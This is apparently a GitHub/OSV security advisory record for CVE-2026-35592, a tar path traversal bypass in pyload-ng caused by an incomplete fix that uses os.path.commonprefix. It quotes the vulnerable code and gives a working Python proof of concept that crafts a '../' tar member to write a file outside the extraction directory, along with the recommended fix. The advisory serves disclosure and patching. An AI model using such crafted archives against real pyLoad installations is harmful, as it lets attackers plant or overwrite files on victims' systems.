CVE-2026-35592: pyload-ng Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mvwx-582f-56r7",
  "modified" : "2026-06-08T19:47:21Z",
  "published" : "2026-04-08T00:04:37Z",
  "aliases" : [ "CVE-2026-35592" ],
  "summary" : "pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass",
  "details" : "## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 — CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 — VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads/pkg'` — **equals the directory, check passes**\n- `commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload'])` → `'/downloads'` — **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) → `extract_queued()` → `UnTar.extract()` (line 76) → `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = '/tmp/test_extraction_dir'\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:\n    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')\n    data = b'escaped the sandbox!'\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open('/tmp/evil.tar.gz') as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f'Member: {member.name}')\n        print(f'Resolved: {os.path.abspath(member_path)}')\n        print(f'Check passes (should be False): {bypassed}')\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f'File escaped to: {escaped_file}')\nprint(f'Content: {open(escaped_file).read()}')\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users' downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev97"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35592"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-124.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:04:37Z",
    "nvd_published_at" : "2026-04-07T17:16:34Z"
  }
}